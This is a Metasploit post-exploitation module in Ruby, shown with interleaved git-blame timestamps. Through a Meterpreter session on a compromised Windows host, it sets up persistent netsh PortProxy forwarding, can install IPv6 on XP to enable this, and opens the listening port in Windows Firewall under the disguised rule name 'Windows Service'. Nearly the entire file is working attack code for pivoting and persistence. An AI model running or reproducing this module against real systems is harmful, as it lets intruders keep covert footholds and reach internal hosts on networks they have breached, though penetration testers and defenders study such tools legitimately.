2013-08-26 12:44:41 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Common
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2013-08-28 21:48:36 +00:00
|
|
|
'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
|
2013-08-26 12:44:41 +00:00
|
|
|
'Description' => %q{
|
2013-08-28 21:48:36 +00:00
|
|
|
This module uses the PortProxy interface from netsh to set up
|
|
|
|
port forwarding persistently (even after reboot). PortProxy
|
|
|
|
supports TCP IPv4 and IPv6 connections.
|
2013-08-26 12:44:41 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
|
|
|
|
'Platform' => [ 'windows' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2013-08-28 22:10:22 +00:00
|
|
|
OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
|
2013-08-28 22:08:22 +00:00
|
|
|
OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
|
2013-08-28 22:10:22 +00:00
|
|
|
OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']),
|
|
|
|
OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']),
|
|
|
|
OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
|
|
|
|
OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']])
|
2013-08-26 12:44:41 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
if not is_admin?
|
|
|
|
print_error("You don't have enough privileges. Try getsystem.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2013-08-28 22:00:10 +00:00
|
|
|
return unless enable_portproxy
|
|
|
|
fw_enable_ports
|
2013-08-26 12:44:41 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-08-28 22:00:10 +00:00
|
|
|
def enable_portproxy
|
2013-08-28 17:53:54 +00:00
|
|
|
rtable = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => 'Port Forwarding Table',
|
|
|
|
'Indent' => 3,
|
|
|
|
'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
|
|
|
|
)
|
|
|
|
|
|
|
|
# Due to a bug in Windows XP you need to install IPv6
|
2013-08-26 12:44:41 +00:00
|
|
|
# http://support.microsoft.com/kb/555744/en-us
|
|
|
|
if sysinfo["OS"] =~ /XP/
|
2013-08-28 22:00:10 +00:00
|
|
|
return false if not check_ipv6
|
2013-08-26 12:44:41 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Setting PortProxy ...")
|
2013-08-28 22:00:10 +00:00
|
|
|
netsh_args = "interface portproxy "
|
|
|
|
netsh_args << "add #{datastore['TYPE']} "
|
2013-08-28 22:08:22 +00:00
|
|
|
netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
|
|
|
|
netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
|
|
|
|
netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
|
|
|
|
netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
|
2013-08-28 22:00:10 +00:00
|
|
|
output = cmd_exec("netsh", netsh_args)
|
2013-08-26 12:44:41 +00:00
|
|
|
if output.size > 2
|
|
|
|
print_error("Setup error. Verify parameters and syntax.")
|
|
|
|
return false
|
|
|
|
else
|
|
|
|
print_good("PortProxy added.")
|
|
|
|
end
|
|
|
|
|
|
|
|
output = cmd_exec("netsh","interface portproxy show all")
|
|
|
|
output.each_line do |l|
|
2013-08-28 17:53:54 +00:00
|
|
|
rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/
|
2013-08-26 12:44:41 +00:00
|
|
|
end
|
2013-08-28 17:53:54 +00:00
|
|
|
print_status(rtable.to_s)
|
2013-08-26 12:44:41 +00:00
|
|
|
return true
|
|
|
|
end
|
|
|
|
|
2013-08-28 17:53:54 +00:00
|
|
|
def ipv6_installed()
|
|
|
|
output = cmd_exec("netsh","interface ipv6 show interface")
|
|
|
|
if output.lines.count > 2
|
2013-08-26 12:44:41 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-08-28 22:00:10 +00:00
|
|
|
def check_ipv6
|
2013-08-28 17:53:54 +00:00
|
|
|
if ipv6_installed()
|
|
|
|
print_status("IPv6 is already installed.")
|
|
|
|
return true
|
|
|
|
else
|
2013-08-28 22:00:10 +00:00
|
|
|
if not datastore['IPV6_XP']
|
2013-08-28 17:53:54 +00:00
|
|
|
print_error("IPv6 is not installed. You need IPv6 to use portproxy.")
|
|
|
|
return false
|
|
|
|
else
|
|
|
|
print_status("Installing IPv6 ...")
|
|
|
|
cmd_exec("netsh","interface ipv6 install",120)
|
|
|
|
if not ipv6_installed
|
|
|
|
print_error("IPv6 was not successfully installed. Run it again.")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
print_good("IPv6 was successfully installed.")
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-08-28 22:00:10 +00:00
|
|
|
def fw_enable_ports
|
2013-08-28 22:08:22 +00:00
|
|
|
print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
|
2013-08-26 12:44:41 +00:00
|
|
|
begin
|
|
|
|
if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/
|
2013-08-28 22:08:22 +00:00
|
|
|
cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
|
2013-08-26 12:44:41 +00:00
|
|
|
else
|
2013-08-28 22:08:22 +00:00
|
|
|
cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
|
2013-08-26 12:44:41 +00:00
|
|
|
end
|
|
|
|
output = cmd_exec("netsh","firewall show state")
|
|
|
|
|
2013-08-28 22:08:22 +00:00
|
|
|
if output =~ /^#{datastore['LOCAL_PORT']} /
|
2013-08-26 12:44:41 +00:00
|
|
|
print_good("Port opened in Windows Firewall.")
|
|
|
|
else
|
|
|
|
print_error("There was an error enabling the port.")
|
|
|
|
end
|
2013-08-28 17:53:54 +00:00
|
|
|
rescue ::Exception => e
|
2013-08-26 12:44:41 +00:00
|
|
|
print_status("The following Error was encountered: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
2013-08-28 17:53:54 +00:00
|
|
|
end
|